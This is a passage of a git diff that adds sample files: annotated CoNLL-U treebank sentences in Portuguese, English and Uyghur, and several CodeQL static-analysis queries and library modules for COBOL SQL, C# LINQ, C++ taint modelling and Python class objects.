+12	diferenciar	diferenciar	VERB	_	VerbForm=Inf	9	acl	_	ChangedBy=Issue165|SpaceAfter=No
+13	.	.	PUNCT	PU|@PU	_	7	punct	_	_
+
+# text = Eles se dizem oposição, mas ainda não informaram o que vão combater.
+# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a
+# sent_id = CF1-7
+# id = 6
+1	Eles	eles	PRON	PERS|M|3P|NOM|@SUBJ>	Case=Nom|Gender=Masc|Number=Plur|Person=3|PronType=Prs	3	nsubj	_	_
+2	se	se	PRON	PERS|M|3P|ACC|@ACC>-PASS	Case=Acc|Gender=Masc|Number=Plur|Person=3|PronType=Prs	3	expl	_	ChangedBy=Issue135
+3	dizem	dizer	VERB	<first-cjt>|<mv>|<se-passive>|V|PR|3P|IND|@FS-STA	Mood=Ind|Number=Plur|Person=3|Tense=Pres|VerbForm=Fin	0	root	_	_
+4	oposição	oposição	NOUN	<np-idf>|N|F|S|@<OC	Gender=Fem|Number=Sing	3	xcomp	_	ChangedBy=Issue165|SpaceAfter=No
+5	,	,	PUNCT	PU|@PU	_	9	punct	_	_
+6	mas	mas	CCONJ	<co-fcl>|KC|@CO	_	9	cc	_	_
+7	ainda	ainda	ADV	ADV|@>A	_	8	advmod	_	_
+8	não	não	ADV	_	Polarity=Neg	9	advmod	_	_
+9	informaram	informar	VERB	<cjt>|<mv>|V|PS/MQP|3P|IND|@FS-STA	Mood=Ind|Number=Plur|Person=3|VerbForm=Fin	3	conj	_	_
+10	o	o	PRON	_	Gender=Masc|Number=Sing|PronType=Dem	11	det	_	_
+11	que	que	PRON	<interr>|INDP|M|S|@ACC>	Gender=Masc|Number=Sing|PronType=Int	13	obj	_	_
+12	vão	ir	AUX	<aux>|V|PR|3P|IND|@FS-<ACC	Mood=Ind|Number=Plur|Person=3|Tense=Pres|VerbForm=Fin	13	aux	_	_
+13	combater	combater	VERB	<mv>|V|INF|@ICL-AUX<	VerbForm=Inf	9	ccomp	_	ChangedBy=Issue165|SpaceAfter=No
+14	.	.	PUNCT	PU|@PU	_	3	punct	_	_
+
+# text = Muitas das prioridades do novo governo coincidem com as prioridades do PT.
+# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a
+# sent_id = CF1-8
+# id = 7
+1	Muitas	muito	PRON	<quant>|DET|F|P|@SUBJ>	Gender=Fem|Number=Plur|PronType=Ind	9	nsubj	_	_
+2-3	das	_	_	_	_	_	_	_	_
+2	de	de	ADP	<sam->|PRP|@N<	_	4	case	_	_
+3	as	o	DET	<-sam>|<artd>|ART|F|P|@>N	Definite=Def|Gender=Fem|Number=Plur|PronType=Art	4	det	_	_
+4	prioridades	prioridade	NOUN	<np-def>|N|F|P|@P<	Gender=Fem|Number=Plur	1	nmod	_	_
+5-6	do	_	_	_	_	_	_	_	_
+5	de	de	ADP	<sam->|PRP|@N<	_	8	case	_	_
+6	o	o	DET	<-sam>|<artd>|ART|M|S|@>N	Definite=Def|Gender=Masc|Number=Sing|PronType=Art	8	det	_	_
+7	novo	novo	ADJ	ADJ|M|S|@>N	Gender=Masc|Number=Sing	8	amod	_	_
+8	governo	governo	NOUN	<np-def>|N|M|S|@P<	Gender=Masc|Number=Sing	4	nmod	_	_
+9	coincidem	coincidir	VERB	<mv>|V|PR|3P|IND|@FS-STA	Mood=Ind|Number=Plur|Person=3|Tense=Pres|VerbForm=Fin	0	root	_	_
+10	com	com	ADP	PRP|@<PIV	_	12	case	_	_
+11	as	o	DET	<artd>|ART|F|P|@>N	Definite=Def|Gender=Fem|Number=Plur|PronType=Art	12	det	_	_
+12	prioridades	prioridade	NOUN	<np-def>|N|F|P|@P<	Gender=Fem|Number=Plur	9	obj	_	_
+13-14	do	_	_	_	_	_	_	_	_
+13	de	de	ADP	<sam->|PRP|@N<	_	15	case	_	_
+14	o	o	DET	<-sam>|<artd>|ART|M|S|@>N	Definite=Def|Gender=Masc|Number=Sing|PronType=Art	15	det	_	_
+15	PT	PT	PROPN	PROP|M|S|@P<	Gender=Masc|Number=Sing	12	nmod	_	ChangedBy=Issue165|SpaceAfter=No
+16	.	.	PUNCT	PU|@PU	_	9	punct	_	_
+
diff --git a/samples/CoNLL-U/en-ud-test-abridged.conllu b/samples/CoNLL-U/en-ud-test-abridged.conllu
new file mode 100644
index 0000000000..b07e4ac89a
--- /dev/null
+++ b/samples/CoNLL-U/en-ud-test-abridged.conllu
@@ -0,0 +1,122 @@
+# newdoc id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200
+# sent_id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200-0001
+# text = What if Google Morphed Into GoogleOS?
+1	What	what	PRON	WP	PronType=Int	0	root	0:root	_
+2	if	if	SCONJ	IN	_	4	mark	4:mark	_
+3	Google	Google	PROPN	NNP	Number=Sing	4	nsubj	4:nsubj	_
+4	Morphed	morph	VERB	VBD	Mood=Ind|Tense=Past|VerbForm=Fin	1	advcl	1:advcl	_
+5	Into	into	ADP	IN	_	6	case	6:case	_
+6	GoogleOS	GoogleOS	PROPN	NNP	Number=Sing	4	obl	4:obl	SpaceAfter=No
+7	?	?	PUNCT	.	_	4	punct	4:punct	_
+
+# sent_id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200-0002
+# text = What if Google expanded on its search-engine (and now e-mail) wares into a full-fledged operating system?
+1	What	what	PRON	WP	PronType=Int	0	root	0:root	_
+2	if	if	SCONJ	IN	_	4	mark	4:mark	_
+3	Google	Google	PROPN	NNP	Number=Sing	4	nsubj	4:nsubj	_
+4	expanded	expand	VERB	VBD	Mood=Ind|Tense=Past|VerbForm=Fin	1	advcl	1:advcl	_
+5	on	on	ADP	IN	_	15	case	15:case	_
+6	its	its	PRON	PRP$	Gender=Neut|Number=Sing|Person=3|Poss=Yes|PronType=Prs	15	nmod:poss	15:nmod:poss	_
+7	search	search	NOUN	NN	Number=Sing	9	compound	9:compound	SpaceAfter=No
+8	-	-	PUNCT	HYPH	_	9	punct	9:punct	SpaceAfter=No
+9	engine	engine	NOUN	NN	Number=Sing	15	compound	15:compound	_
+10	(	(	PUNCT	-LRB-	_	9	punct	9:punct	SpaceAfter=No
+11	and	and	CCONJ	CC	_	13	cc	13:cc	_
+12	now	now	ADV	RB	_	13	advmod	13:advmod	_
+13	e-mail	e-mail	NOUN	NN	Number=Sing	9	conj	9:conj	SpaceAfter=No
+14	)	)	PUNCT	-RRB-	_	15	punct	15:punct	_
+15	wares	wares	NOUN	NNS	Number=Plur	4	obl	4:obl	_
+16	into	into	ADP	IN	_	22	case	22:case	_
+17	a	a	DET	DT	Definite=Ind|PronType=Art	22	det	22:det	_
+18	full	full	ADV	RB	_	20	advmod	20:advmod	SpaceAfter=No
+19	-	-	PUNCT	HYPH	_	20	punct	20:punct	SpaceAfter=No
+20	fledged	fledged	ADJ	JJ	Degree=Pos	22	amod	22:amod	_
+21	operating	operating	NOUN	NN	Number=Sing	22	compound	22:compound	_
+22	system	system	NOUN	NN	Number=Sing	4	obl	4:obl	SpaceAfter=No
+23	?	?	PUNCT	.	_	4	punct	4:punct	_
+
+# sent_id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200-0003
+# text = [via Microsoft Watch from Mary Jo Foley ]
+1	[	[	PUNCT	-LRB-	_	4	punct	4:punct	SpaceAfter=No
+2	via	via	ADP	IN	_	4	case	4:case	_
+3	Microsoft	Microsoft	PROPN	NNP	Number=Sing	4	compound	4:compound	_
+4	Watch	Watch	PROPN	NNP	Number=Sing	0	root	0:root	_
+5	from	from	ADP	IN	_	6	case	6:case	_
+6	Mary	Mary	PROPN	NNP	Number=Sing	4	nmod	4:nmod	_
+7	Jo	Jo	PROPN	NNP	Number=Sing	6	flat	6:flat	_
+8	Foley	Foley	PROPN	NNP	Number=Sing	6	flat	6:flat	_
+9	]	]	PUNCT	-RRB-	_	4	punct	4:punct	_
+
+# newdoc id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700
+# sent_id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700-0001
+# text = (And, by the way, is anybody else just a little nostalgic for the days when that was a good thing?)
+1	(	(	PUNCT	-LRB-	_	14	punct	14:punct	SpaceAfter=No
+2	And	and	CCONJ	CC	_	14	cc	14:cc	SpaceAfter=No
+3	,	,	PUNCT	,	_	14	punct	14:punct	_
+4	by	by	ADP	IN	_	6	case	6:case	_
+5	the	the	DET	DT	Definite=Def|PronType=Art	6	det	6:det	_
+6	way	way	NOUN	NN	Number=Sing	14	obl	14:obl	SpaceAfter=No
+7	,	,	PUNCT	,	_	14	punct	14:punct	_
+8	is	be	AUX	VBZ	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	14	cop	14:cop	_
+9	anybody	anybody	PRON	NN	Number=Sing	14	nsubj	14:nsubj	_
+10	else	else	ADJ	JJ	Degree=Pos	9	amod	9:amod	_
+11	just	just	ADV	RB	_	13	advmod	13:advmod	_
+12	a	a	DET	DT	Definite=Ind|PronType=Art	13	det	13:det	_
+13	little	little	ADJ	JJ	Degree=Pos	14	obl:npmod	14:obl:npmod	_
+14	nostalgic	nostalgic	NOUN	NN	Number=Sing	0	root	0:root	_
+15	for	for	ADP	IN	_	17	case	17:case	_
+16	the	the	DET	DT	Definite=Def|PronType=Art	17	det	17:det	_
+17	days	day	NOUN	NNS	Number=Plur	14	nmod	14:nmod	_
+18	when	when	ADV	WRB	PronType=Rel	23	advmod	23:advmod	_
+19	that	that	PRON	DT	Number=Sing|PronType=Dem	23	nsubj	23:nsubj	_
+20	was	be	AUX	VBD	Mood=Ind|Number=Sing|Person=3|Tense=Past|VerbForm=Fin	23	cop	23:cop	_
+21	a	a	DET	DT	Definite=Ind|PronType=Art	23	det	23:det	_
+22	good	good	ADJ	JJ	Degree=Pos	23	amod	23:amod	_
+23	thing	thing	NOUN	NN	Number=Sing	17	acl:relcl	17:acl:relcl	SpaceAfter=No
+24	?	?	PUNCT	.	_	14	punct	14:punct	SpaceAfter=No
+25	)	)	PUNCT	-RRB-	_	14	punct	14:punct	_
+
+# sent_id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700-0002
+# text = This BuzzMachine post argues that Google's rush toward ubiquity might backfire -- which we've all heard before, but it's particularly well-put in this post.
+1	This	this	DET	DT	Number=Sing|PronType=Dem	3	det	3:det	_
+2	BuzzMachine	BuzzMachine	PROPN	NNP	Number=Sing	3	compound	3:compound	_
+3	post	post	NOUN	NN	Number=Sing	4	nsubj	4:nsubj	_
+4	argues	argue	VERB	VBZ	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	0	root	0:root	_
+5	that	that	SCONJ	IN	_	12	mark	12:mark	_
+6	Google	Google	PROPN	NNP	Number=Sing	8	nmod:poss	8:nmod:poss	SpaceAfter=No
+7	's	's	PART	POS	_	6	case	6:case	_
+8	rush	rush	NOUN	NN	Number=Sing	12	nsubj	12:nsubj	_
+9	toward	toward	ADP	IN	_	10	case	10:case	_
+10	ubiquity	ubiquity	NOUN	NN	Number=Sing	8	nmod	8:nmod	_
+11	might	might	AUX	MD	VerbForm=Fin	12	aux	12:aux	_
+12	backfire	backfire	VERB	VB	VerbForm=Inf	4	ccomp	4:ccomp	_
+13	--	--	PUNCT	,	_	12	punct	12:punct	_
+14	which	which	PRON	WDT	PronType=Rel	18	obj	18:obj	_
+15	we	we	PRON	PRP	Case=Nom|Number=Plur|Person=1|PronType=Prs	18	nsubj	18:nsubj	SpaceAfter=No
+16	've	have	AUX	VBP	Mood=Ind|Tense=Pres|VerbForm=Fin	18	aux	18:aux	_
+17	all	all	ADV	RB	_	18	advmod	18:advmod	_
+18	heard	hear	VERB	VBN	Tense=Past|VerbForm=Part	12	acl:relcl	12:acl:relcl	_
+19	before	before	ADV	RB	_	18	advmod	18:advmod	SpaceAfter=No
+20	,	,	PUNCT	,	_	27	punct	27:punct	_
+21	but	but	CCONJ	CC	_	27	cc	27:cc	_
+22	it	it	PRON	PRP	Case=Nom|Gender=Neut|Number=Sing|Person=3|PronType=Prs	27	nsubj:pass	27:nsubj:pass	SpaceAfter=No
+23	's	be	VERB	VBZ	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	27	aux:pass	27:aux:pass	_
+24	particularly	particularly	ADV	RB	_	27	advmod	27:advmod	_
+25	well	well	ADV	RB	Degree=Pos	27	advmod	27:advmod	SpaceAfter=No
+26	-	-	PUNCT	HYPH	_	27	punct	27:punct	SpaceAfter=No
+27	put	put	VERB	VBN	Tense=Past|VerbForm=Part	4	conj	4:conj	_
+28	in	in	ADP	IN	_	30	case	30:case	_
+29	this	this	DET	DT	Number=Sing|PronType=Dem	30	det	30:det	_
+30	post	post	NOUN	NN	Number=Sing	27	obl	27:obl	SpaceAfter=No
+31	.	.	PUNCT	.	_	4	punct	4:punct	_
+
+# sent_id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700-0003
+# text = Google is a nice search engine.
+1	Google	Google	PROPN	NNP	Number=Sing	6	nsubj	6:nsubj	_
+2	is	be	AUX	VBZ	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	6	cop	6:cop	_
+3	a	a	DET	DT	Definite=Ind|PronType=Art	6	det	6:det	_
+4	nice	nice	ADJ	JJ	Degree=Pos	6	amod	6:amod	_
+5	search	search	NOUN	NN	Number=Sing	6	compound	6:compound	_
+6	engine	engine	NOUN	NN	Number=Sing	0	root	0:root	SpaceAfter=No
+7	.	.	PUNCT	.	_	6	punct	6:punct	_
+
diff --git a/samples/CoNLL-U/ug-ud-test-abridged.conllu b/samples/CoNLL-U/ug-ud-test-abridged.conllu
new file mode 100644
index 0000000000..bf08ffb07a
--- /dev/null
+++ b/samples/CoNLL-U/ug-ud-test-abridged.conllu
@@ -0,0 +1,121 @@
+# sent_id = s1
+# text = ئاسماننى كۆپكۈك، دەريا، كۆل سۇلىرىنى سۈپسۈزۈك تۇرۇشقا، دەل - دەرەخلەرنى بۈك - باراقسان بولۇشقا، ھايۋانلارنى ئەركىن ئازادە ياشاشقا ئىگە قىلىش... بىزنىڭ ئورتاق ئارزۇيىمىز.
+1	ئاسماننى	_	NOUN	N	_	30	csubj	_	Translit=asmanni
+2	كۆپكۈك	_	VERB	V	_	1	orphan	_	SpaceAfter=No|Translit=köpkük
+3	،	_	PUNCT	Y	_	2	punct	_	Translit=,
+4	دەريا	_	NOUN	N	_	7	nmod:poss	_	SpaceAfter=No|Translit=derya
+5	،	_	PUNCT	Y	_	4	punct	_	Translit=,
+6	كۆل	_	NOUN	N	_	4	conj	_	Translit=köl
+7	سۇلىرىنى	_	NOUN	N	_	9	obj	_	Translit=sulirini
+8	سۈپسۈزۈك	_	ADJ	A	_	9	advmod	_	Translit=süpsüzük
+9	تۇرۇشقا	_	VERB	V	_	1	conj	_	SpaceAfter=No|Translit=turushqa
+10	،	_	PUNCT	Y	_	1	punct	_	Translit=,
+11	دەل	_	ADV	D	_	13	compound:redup	_	Translit=del
+12	-	_	PUNCT	Y	_	11	punct	_	Translit=-
+13	دەرەخلەرنى	_	NOUN	N	_	17	obj	_	Translit=derexlerni
+14	بۈك	_	ADJ	A	_	16	compound	_	Translit=bük
+15	-	_	PUNCT	Y	_	14	punct	_	Translit=-
+16	باراقسان	_	ADJ	A	_	17	advmod	_	Translit=baraqsan
+17	بولۇشقا	_	VERB	V	_	9	orphan	_	SpaceAfter=No|Translit=bolushqa
+18	،	_	PUNCT	Y	_	17	punct	_	Translit=,
+19	ھايۋانلارنى	_	NOUN	N	_	24	obj	_	Translit=haywanlarni
+20	ئەركىن	_	ADJ	A	_	21	compound:redup	_	Translit=erkin
+21	ئازادە	_	ADJ	A	_	22	advmod	_	Translit=azade
+22	ياشاشقا	_	NOUN	N	_	24	advcl	_	Translit=yashashqa
+23	ئىگە	_	NOUN	N	_	24	compound	_	Translit=ige
+24	قىلىش	_	VERB	V	_	1	conj	_	SpaceAfter=No|Translit=qilish
+25	.	_	PUNCT	Y	_	1	punct	_	SpaceAfter=No|Translit=.
+26	.	_	PUNCT	Y	_	1	punct	_	SpaceAfter=No|Translit=.
+27	.	_	PUNCT	Y	_	1	punct	_	Translit=.
+28	بىزنىڭ	_	PRON	P	_	30	nmod:poss	_	Translit=bizning
+29	ئورتاق	_	ADJ	A	_	30	amod	_	Translit=ortaq
+30	ئارزۇيىمىز	_	NOUN	N	_	0	root	_	SpaceAfter=No|Translit=arzuyimiz
+31	.	_	PUNCT	Y	_	30	punct	_	Translit=.
+
+# sent_id = s2
+# text = بۇ بۆلەكتىكى تېكىستلەرنى ئوقۇش ئارقىلىق، كىشىلەرنىڭ ھايۋانلار ۋە ئۆسۈملۈكلەرگە قانداق مۇئامىلە قىلغانلىقى، ئاقىۋىتىنىڭ قانداق بولغانلىقىنى كۆرۈپ باقايلى،
+1	بۇ	_	PRON	P	_	2	det	_	Translit=bu
+2	بۆلەكتىكى	_	NOUN	N	_	3	nmod	_	Translit=bölektiki
+3	تېكىستلەرنى	_	NOUN	N	_	4	obj	_	Translit=tëkistlerni
+4	ئوقۇش	_	VERB	V	_	18	advcl	_	Translit=oqush
+5	ئارقىلىق	_	ADP	R	_	4	case	_	SpaceAfter=No|Translit=arqiliq
+6	،	_	PUNCT	Y	_	5	punct	_	Translit=,
+7	كىشىلەرنىڭ	_	NOUN	N	_	13	nsubj	_	Translit=kishilerning
+8	ھايۋانلار	_	NOUN	N	_	13	obl	_	Translit=haywanlar
+9	ۋە	_	CCONJ	C	_	10	cc	_	Translit=we
+10	ئۆسۈملۈكلەرگە	_	NOUN	N	_	8	conj	_	Translit=ösümlüklerge
+11	قانداق	_	PRON	P	_	13	advmod	_	Translit=qandaq
+12	مۇئامىلە	_	NOUN	N	_	13	compound	_	Translit=muamile
+13	قىلغانلىقى	_	VERB	V	_	18	conj	_	SpaceAfter=No|Translit=qilghanliqi
+14	،	_	PUNCT	Y	_	13	punct	_	Translit=,
+15	ئاقىۋىتىنىڭ	_	NOUN	N	_	17	nsubj	_	Translit=aqiwitining
+16	قانداق	_	PRON	P	_	17	advmod	_	Translit=qandaq
+17	بولغانلىقىنى	_	VERB	V	_	18	obj	_	Translit=bolghanliqini
+18	كۆرۈپ	_	VERB	V	_	0	root	_	Translit=körüp
+19	باقايلى	_	VERB	V	_	18	aux	_	SpaceAfter=No|Translit=baqayli
+20	،	_	PUNCT	Y	_	19	punct	_	Translit=,
+
+# sent_id = s3
+# text = يەنە ئەتراپىمىزدىكى مۇھىتنى ياخشى كۆزىتىپ، مۇھىتنى قوغداش ئۈچۈن نېمىلەرنى قىلالايدىغانلىقىمىز توغرۇلۇق ئويلىنىپ باقايلى.
+1	يەنە	_	ADV	D	_	13	cc	_	Translit=yene
+2	ئەتراپىمىزدىكى	_	NOUN	N	_	3	amod	_	Translit=etrapimizdiki
+3	مۇھىتنى	_	NOUN	N	_	5	obj	_	Translit=muhitni
+4	ياخشى	_	ADJ	A	_	5	advmod	_	Translit=yaxshi
+5	كۆزىتىپ	_	VERB	V	_	13	advcl	_	SpaceAfter=No|Translit=közitip
+6	،	_	PUNCT	Y	_	5	punct	_	Translit=,
+7	مۇھىتنى	_	NOUN	N	_	8	obj	_	Translit=muhitni
+8	قوغداش	_	VERB	V	_	11	advcl	_	Translit=qoghdash
+9	ئۈچۈن	_	CCONJ	C	_	8	case	_	Translit=üchün
+10	نېمىلەرنى	_	PRON	P	_	11	obj	_	Translit=nëmilerni
+11	قىلالايدىغانلىقىمىز	_	VERB	V	_	13	obj	_	Translit=qilalaydighanliqimiz
+12	توغرۇلۇق	_	ADP	R	_	11	case	_	Translit=toghruluq
+13	ئويلىنىپ	_	VERB	V	_	0	root	_	Translit=oylinip
+14	باقايلى	_	VERB	V	_	13	aux	_	SpaceAfter=No|Translit=baqayli
+15	.	_	PUNCT	Y	_	14	punct	_	Translit=.
+
+# sent_id = s4
+# text = بىر يىلى باھار كۈنلىرىنىڭ بىرىدە، شىۋېتسارىيىنىڭ بىر ۋوگزالىدا ھاۋا تەڭشىگۈچ ئورنىتىلغان چىرايلىق، ئازادە بىر پويىز قوزغىلىش ئالدىدا تۇراتتى.
+1	بىر	_	NUM	M	_	2	nummod	_	Translit=bir
+2	يىلى	_	NOUN	N	_	20	nmod:tmod	_	Translit=yili
+3	باھار	_	NOUN	N	_	4	nmod:poss	_	Translit=bahar
+4	كۈنلىرىنىڭ	_	NOUN	N	_	5	nmod:part	_	Translit=künlirining
+5	بىرىدە	_	NUM	M	_	20	nmod:tmod	_	SpaceAfter=No|Translit=biride
+6	،	_	PUNCT	Y	_	5	punct	_	Translit=,
+7	شىۋېتسارىيىنىڭ	_	NOUN	N	_	9	nmod:poss	_	Translit=shiwëtsariyining
+8	بىر	_	NUM	M	_	9	det	_	Translit=bir
+9	ۋوگزالىدا	_	NOUN	N	_	20	obl	_	Translit=wogzalida
+10	ھاۋا	_	NOUN	N	_	11	compound	_	Translit=hawa
+11	تەڭشىگۈچ	_	NOUN	N	_	12	nsubj	_	Translit=tengshigüch
+12	ئورنىتىلغان	_	NOUN	N	_	17	amod	_	Translit=ornitilghan
+13	چىرايلىق	_	ADJ	A	_	17	amod	_	SpaceAfter=No|Translit=chirayliq
+14	،	_	PUNCT	Y	_	13	punct	_	Translit=,
+15	ئازادە	_	ADJ	A	_	13	conj	_	Translit=azade
+16	بىر	_	NUM	M	_	17	det	_	Translit=bir
+17	پويىز	_	NOUN	N	_	20	nsubj	_	Translit=poyiz
+18	قوزغىلىش	_	VERB	V	_	19	nmod:poss	_	Translit=qozghilish
+19	ئالدىدا	_	NOUN	N	_	20	obl	_	Translit=aldida
+20	تۇراتتى	_	VERB	V	_	0	root	_	SpaceAfter=No|Translit=turatti
+21	.	_	PUNCT	Y	_	20	punct	_	Translit=.
+
+# sent_id = s5
+# text = ۋوگزال سۇپىسى ئۇزاتقۇچىلار بىلەن تولۇپ كەتكەنىدى.
+1	ۋوگزال	_	NOUN	N	_	2	nmod:poss	_	Translit=wogzal
+2	سۇپىسى	_	NOUN	N	_	5	nsubj	_	Translit=supisi
+3	ئۇزاتقۇچىلار	_	NOUN	N	_	5	obl	_	Translit=uzatquchilar
+4	بىلەن	_	ADP	R	_	3	case	_	Translit=bilen
+5	تولۇپ	_	VERB	V	_	0	root	_	Translit=tolup
+6	كەتكەنىدى	_	VERB	V	_	5	aux	_	SpaceAfter=No|Translit=ketkenidi
+7	.	_	PUNCT	Y	_	6	punct	_	Translit=.
+
+# sent_id = s6
+# text = ئۇلارنىڭ ئۇزاتماقچى بولغىنى ئۆزگىچە مىھمان - قارلىغاچلار ئىدى.
+1	ئۇلارنىڭ	_	PRON	P	_	2	nsubj	_	Translit=ularning
+2	ئۇزاتماقچى	_	NOUN	N	_	5	acl	_	Translit=uzatmaqchi
+3	بولغىنى	_	AUX	V	_	2	cop	_	Translit=bolghini
+4	ئۆزگىچە	_	ADJ	A	_	5	amod	_	Translit=özgiche
+5	مىھمان	_	NOUN	N	_	7	appos	_	Translit=mihman
+6	-	_	PUNCT	Y	_	5	punct	_	Translit=-
+7	قارلىغاچلار	_	NOUN	N	_	0	root	_	Translit=qarlighachlar
+8	ئىدى	_	AUX	V	_	7	cop	_	SpaceAfter=No|Translit=idi
+9	.	_	PUNCT	Y	_	8	punct	_	Translit=.
+
diff --git a/samples/CodeQL/ql-cobol-sample.ql b/samples/CodeQL/ql-cobol-sample.ql
new file mode 100644
index 0000000000..92cbe792d4
--- /dev/null
+++ b/samples/CodeQL/ql-cobol-sample.ql
@@ -0,0 +1,15 @@
+/**
+ * Source: https://github.com/krisds/cobol-codeql/blob/9373a45da534889cb5d3ae1841a5233a38abceee/queries/semmlecode-cobol-queries/SQL/SpecifyWhereClauseOnSelect.ql
+ * Lisence: MIT
+ */
+
+import cobol
+
+from SqlSelectStmt stmt
+where not exists (stmt.getWhere())
+  // Make sure we're selecting from an actual table.
+  and exists ( SqlTableReference ref |
+    ref = stmt.getFrom().getATarget() and
+    not ref.(SqlTableName).getName().toUpperCase() = "DUAL"
+  )
+select stmt, "Unconditional selection of data."
diff --git a/samples/CodeQL/ql-sample.ql b/samples/CodeQL/ql-sample.ql
new file mode 100644
index 0000000000..1d4918da7f
--- /dev/null
+++ b/samples/CodeQL/ql-sample.ql
@@ -0,0 +1,16 @@
+/**
+ * Source: https://github.com/Semmle/ql/blob/bd9a2d71bacfa94cc93ce6ab33dd4c7f8ce71050/csharp/ql/src/Linq/RedundantSelect.ql
+ * License: Apache License 2.0
+ */
+
+import csharp
+import Helpers
+
+predicate isIdentityFunction(AnonymousFunctionExpr afe) {
+  afe.getNumberOfParameters() = 1 and
+  afe.getExpressionBody() = afe.getParameter(0).getAnAccess()
+}
+
+from SelectCall sc
+where isIdentityFunction(sc.getFunctionExpr())
+select sc, "This LINQ selection is redundant and can be removed."
diff --git a/samples/CodeQL/qll-sample1.qll b/samples/CodeQL/qll-sample1.qll
new file mode 100644
index 0000000000..1a4522d127
--- /dev/null
+++ b/samples/CodeQL/qll-sample1.qll
@@ -0,0 +1,36 @@
+/**
+ * Source: https://github.com/github/rasmuswl-temp-ql-clone/blob/5e1c8fe8c9c3505c35f7e032169bf56d71ea2bc7/cpp/ql/src/semmle/code/cpp/models/implementations/Inet.qll
+ * License: Apache License 2.0
+ */
+
+import semmle.code.cpp.models.interfaces.Taint
+import semmle.code.cpp.models.interfaces.ArrayFunction
+
+class InetNtoa extends TaintFunction {
+  InetNtoa() { hasGlobalName("inet_ntoa") }
+
+  override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
+    input.isParameter(0) and
+    output.isReturnValueDeref()
+  }
+}
+
+class InetAton extends TaintFunction, ArrayFunction {
+  InetAton() { hasGlobalName("inet_aton") }
+
+  override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
+    input.isParameterDeref(0) and
+    output.isParameterDeref(1)
+  }
+
+  override predicate hasArrayInput(int bufParam) { bufParam = 0 }
+
+  override predicate hasArrayOutput(int bufParam) { bufParam = 1 }
+
+  override predicate hasArrayWithNullTerminator(int bufParam) { bufParam = 0 }
+
+  override predicate hasArrayWithFixedSize(int bufParam, int elemCount) {
+    bufParam = 1 and
+    elemCount = 1
+  }
+}
diff --git a/samples/CodeQL/qll-sample2.qll b/samples/CodeQL/qll-sample2.qll
new file mode 100644
index 0000000000..1a1504ad68
--- /dev/null
+++ b/samples/CodeQL/qll-sample2.qll
@@ -0,0 +1,113 @@
+/**
+ * Source: https://github.com/github/rasmuswl-temp-ql-clone/blob/5e1c8fe8c9c3505c35f7e032169bf56d71ea2bc7/python/ql/src/semmle/python/objects/Classes.qll
+ * License: Apache License 2.0
+ */
+
+import python
+
+
+private import semmle.python.objects.TObject
+private import semmle.python.objects.ObjectInternal
+private import semmle.python.pointsto.PointsTo
+private import semmle.python.pointsto.PointsToContext
+private import semmle.python.pointsto.MRO
+private import semmle.python.types.Builtins
+
+/** Class representing classes */
+abstract class ClassObjectInternal extends ObjectInternal {
+
+    override string getName() {
+        result = this.getClassDeclaration().getName()
+    }
+
+    /** Holds if this is a class whose instances we treat specially, rather than as a generic instance.
+     * For example, `type` or `int`.
+     */
+    boolean isSpecial() {
+        result = Types::getMro(this).containsSpecial()
+    }
+
+    /** Looks up the attribute `name` on this class.
+     * Note that this may be different from `this.attr(name)`.
+     * For example given the class:
+     * ```class C:
+     *        @classmethod
+     *        def f(cls): pass
+     * ```
+     * `this.lookup("f")` is equivalent to `C.__dict__['f']`, which is the class-method
+     *  whereas
+     * `this.attr("f") is equivalent to `C.f`, which is a bound-method.
+     */
+    abstract predicate lookup(string name, ObjectInternal value, CfgOrigin origin);
+
+    /** Holds if this is a subclass of the `Iterable` abstract base class. */
+    boolean isIterableSubclass() {
+        this = ObjectInternal::builtin("list") and result = true
+        or
+        this = ObjectInternal::builtin("set") and result = true
+        or
+        this = ObjectInternal::builtin("dict") and result = true
+        or
+        this != ObjectInternal::builtin("list") and
+        this != ObjectInternal::builtin("set") and
+        this != ObjectInternal::builtin("dict") and
+        result = false
+    }
+
+    override boolean isDescriptor() { result = false }
+
+    pragma [noinline] override predicate descriptorGetClass(ObjectInternal cls, ObjectInternal value, CfgOrigin origin) { none() }
+
+    pragma [noinline] override predicate descriptorGetInstance(ObjectInternal instance, ObjectInternal value, CfgOrigin origin) { none() }
+
+    pragma [noinline] override predicate binds(ObjectInternal instance, string name, ObjectInternal descriptor) {
+        instance = this and
+        PointsToInternal::attributeRequired(this, name) and
+        this.lookup(name, descriptor, _) and
+        descriptor.isDescriptor() = true
+    }
+
+    /** Approximation to descriptor protocol, skipping meta-descriptor protocol */
+    pragma [noinline] override predicate attribute(string name, ObjectInternal value, CfgOrigin origin) {
+        exists(ObjectInternal descriptor, CfgOrigin desc_origin |
+            this.lookup(name, descriptor, desc_origin) |
+            descriptor.isDescriptor() = false and
+            value = descriptor and origin = desc_origin
+            or
+            descriptor.isDescriptor() = true and
+            descriptor.descriptorGetClass(this, value, origin)
+        )
+    }
+
+    override int length() { none() }
+
+    override boolean booleanValue() { result = true }
+
+    override boolean isClass() { result = true }
+
+    override int intValue() {
+        none()
+    }
+
+    override string strValue() {
+        none()
+    }
+
+    override predicate subscriptUnknown() { none() }
+
+    override predicate contextSensitiveCallee() { none() }
+
+    override predicate useOriginAsLegacyObject() { none() }
+
+    /* Classes aren't usually iterable, but can e.g. Enums */
+    override ObjectInternal getIterNext() { result = ObjectInternal::unknown() }
+
+    override predicate hasAttribute(string name) {
+        this.getClassDeclaration().declaresAttribute(name)
+        or
+        Types::getBase(this, _).hasAttribute(name)
+    }
+
+    override predicate isNotSubscriptedType() { any() }
+
+}
diff --git a/samples/CodeQL/qll-sample3.qll b/samples/CodeQL/qll-sample3.qll
new file mode 100644
